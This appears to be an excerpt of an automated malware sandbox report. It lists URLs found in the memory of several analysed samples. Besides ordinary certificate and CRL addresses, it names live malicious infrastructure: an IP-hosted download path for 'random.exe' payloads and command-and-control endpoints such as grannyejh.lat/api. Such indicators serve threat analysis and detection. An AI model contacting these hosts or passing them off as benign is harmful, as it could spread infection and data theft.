Source: skotes.exe, 00000006.00000002.3321244705.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe
Source: skotes.exe, 00000006.00000002.3321244705.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exem
Source: skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3321244705.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wicked/random.exe
Source: skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wicked/random.exe7
Source: skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wicked/random.exeeL
Source: f2de4e119f.exe, 00000007.00000003.2932446254.0000000005353000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3014902263.000000000339D000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3207257252.000000000589C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: f2de4e119f.exe, 00000007.00000003.2932446254.0000000005353000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3014902263.000000000339D000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3207257252.000000000589C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 00000008.00000002.2913131617.0000000001071000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: f2de4e119f.exe, 00000007.00000003.3131893764.0000000000742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro(
Source: ba94e3db0d.exe, 0000000C.00000003.3254995716.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000002.3316219494.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3289194378.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3256240729.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3257004403.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3154358623.0000000000F91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro8
Source: f2de4e119f.exe, 00000007.00000003.2932446254.0000000005353000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3014902263.000000000339D000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3207257252.000000000589C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 00000008.00000002.2913131617.0000000001071000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 00000008.00000002.2913131617.0000000001071000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 00000008.00000002.2913131617.0000000001071000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 00000008.00000002.2913131617.0000000001071000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: f2de4e119f.exe, 00000007.00000003.2932446254.0000000005353000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3014902263.000000000339D000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3207257252.000000000589C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: f2de4e119f.exe, 00000007.00000003.2932446254.0000000005353000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3014902263.000000000339D000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3207257252.000000000589C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: f2de4e119f.exe, 00000007.00000003.2932446254.0000000005353000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3014902263.000000000339D000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3207257252.000000000589C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: f2de4e119f.exe, 00000007.00000003.2932446254.0000000005353000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3014902263.000000000339D000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3207257252.000000000589C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 00000008.00000002.2913131617.0000000001071000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 00000008.00000002.2913131617.0000000001071000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 00000008.00000002.2913131617.0000000001071000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 00000008.00000002.2913131617.0000000001071000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv17
Source: ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851
Source: ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851http://home.fivetk5ht.top/zldPRFrmVFHTtKntGp
Source: c6628554c1.exe, 0000000B.00000003.3025587881.0000000006FEF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnY322
Source: c6628554c1.exe, 0000000B.00000003.3025587881.0000000006FEF000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000003.3238223155.0000000007646000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 00000008.00000002.2913131617.0000000001071000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: f2de4e119f.exe, 00000007.00000003.2932446254.0000000005353000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3014902263.000000000339D000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3207257252.000000000589C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: f2de4e119f.exe, 00000007.00000003.2932446254.0000000005353000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3014902263.000000000339D000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3207257252.000000000589C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 00000008.00000002.2913131617.0000000001071000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: f2de4e119f.exe, 00000007.00000003.2932446254.0000000005353000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3014902263.000000000339D000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3207257252.000000000589C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: f2de4e119f.exe, 00000007.00000003.2932446254.0000000005353000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3014902263.000000000339D000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3207257252.000000000589C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: f2de4e119f.exe, 00000007.00000003.2881843351.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2881941617.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2882123457.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961958766.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961743739.00000000032CB000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2962343951.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156477386.000000000581C000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156659016.0000000005819000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156890308.0000000005819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 6454cda0dd.exe, 00000014.00000000.3289959239.0000000000F22000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/
Source: 6454cda0dd.exe, 00000014.00000002.3316367923.00000000031D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/accountname.aspx
Source: 6454cda0dd.exe, 00000014.00000002.3316367923.00000000031D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/balance.aspx
Source: 6454cda0dd.exe, 00000014.00000000.3289959239.0000000000F22000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/history.aspx
Source: 6454cda0dd.exe, 00000014.00000002.3316367923.00000000031D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/history.aspxS
Source: 6454cda0dd.exe, 00000014.00000002.3316367923.00000000031D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/transfer.aspx
Source: f2de4e119f.exe, 00000007.00000003.2957206109.0000000005329000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2956958118.0000000005321000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2957273368.0000000005331000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2957053930.0000000005325000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3017248900.0000000003325000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3236129819.000000000587B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: f2de4e119f.exe, 00000007.00000003.2957206109.0000000005329000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2956958118.0000000005321000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2957273368.0000000005331000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2957053930.0000000005325000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3017248900.0000000003325000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3236129819.000000000587B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: f2de4e119f.exe, 00000007.00000003.2881843351.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2881941617.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2882123457.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961958766.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961743739.00000000032CB000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2962343951.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156477386.000000000581C000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156659016.0000000005819000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156890308.0000000005819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: f2de4e119f.exe, 00000007.00000003.2881843351.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2881941617.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2882123457.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961958766.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961743739.00000000032CB000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2962343951.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156477386.000000000581C000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156659016.0000000005819000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156890308.0000000005819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: f2de4e119f.exe, 00000007.00000003.2881843351.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2881941617.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2882123457.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961958766.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961743739.00000000032CB000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2962343951.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156477386.000000000581C000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156659016.0000000005819000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156890308.0000000005819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: f2de4e119f.exe, 00000007.00000003.2957206109.0000000005329000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2956958118.0000000005321000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2957273368.0000000005331000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2957053930.0000000005325000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3017248900.0000000003325000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3236129819.000000000587B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: f2de4e119f.exe, 00000007.00000003.2957206109.0000000005329000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2956958118.0000000005321000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2957273368.0000000005331000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2957053930.0000000005325000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3017248900.0000000003325000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3236129819.000000000587B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: c6628554c1.exe, 0000000B.00000003.3025587881.0000000006FEF000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000003.3238223155.0000000007646000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: f2de4e119f.exe, 00000007.00000003.2881843351.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2881941617.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2882123457.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961958766.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961743739.00000000032CB000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2962343951.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156477386.000000000581C000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156659016.0000000005819000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156890308.0000000005819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: f2de4e119f.exe, 00000007.00000003.2881843351.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2881941617.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2882123457.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961958766.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961743739.00000000032CB000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2962343951.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156477386.000000000581C000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156659016.0000000005819000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156890308.0000000005819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: f2de4e119f.exe, 00000007.00000003.2881843351.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2881941617.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2882123457.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961958766.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961743739.00000000032CB000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2962343951.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156477386.000000000581C000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156659016.0000000005819000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156890308.0000000005819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: f2de4e119f.exe, 00000007.00000003.3131893764.0000000000745000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.3039245381.0000000000767000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2981424285.000000000532E000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2957206109.0000000005329000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.3152858229.0000000000763000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2956958118.0000000005321000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.3133068689.0000000000766000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2957053930.0000000005325000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/
Source: f2de4e119f.exe, 00000007.00000003.3039245381.0000000000767000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.3152858229.0000000000763000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.3133068689.0000000000766000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/:
Source: f2de4e119f.exe, 00000007.00000003.3039245381.0000000000767000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.3152858229.0000000000763000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.3133068689.0000000000766000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/Jd
Source: f2de4e119f.exe, 00000007.00000003.3002836126.000000000532F000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.3131893764.0000000000745000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2932193542.000000000077A000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2981424285.000000000532E000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2957206109.0000000005329000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2931837535.000000000532F000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2956958118.0000000005321000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2931929150.0000000000777000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2957053930.0000000005325000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/api
Source: f2de4e119f.exe, 00000007.00000003.3002836126.000000000532F000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2981424285.000000000532E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apiY
Source: f2de4e119f.exe, 00000007.00000003.2981221146.0000000000765000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2985919472.0000000000767000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apip
Source: f2de4e119f.exe, 00000007.00000003.3039245381.0000000000767000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.3152858229.0000000000763000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.3133068689.0000000000766000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apis
Source: f2de4e119f.exe, 00000007.00000003.2932193542.000000000077A000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2931929150.0000000000777000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apivider
Source: f2de4e119f.exe, 00000007.00000003.2981221146.0000000000765000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/k
Source: f2de4e119f.exe, 00000007.00000003.2981221146.0000000000765000.00000004.00000020.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2985919472.0000000000767000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/p
Source: f2de4e119f.exe, 00000007.00000003.2981424285.000000000532E000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2957206109.0000000005329000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2931837535.000000000532F000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2956958118.0000000005321000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2957053930.0000000005325000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/r
Source: f2de4e119f.exe, 00000007.00000003.2981424285.000000000532E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/wnC.q
Source: f2de4e119f.exe, 00000007.00000003.2981221146.0000000000765000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/y
Source: c6628554c1.exe, 0000000B.00000003.3025587881.0000000006FEF000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000003.3238223155.0000000007646000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: https://httpbin.org/ip
Source: c6628554c1.exe, 0000000B.00000003.3025587881.0000000006FEF000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000003.3238223155.0000000007646000.00000004.00001000.00020000.00000000.sdmp, ef4aa82a7c.exe, 00000010.00000002.3285072625.0000000000B4D000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: https://httpbin.org/ipbefore
Source: ba94e3db0d.exe, 0000000C.00000003.3236129819.000000000587B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
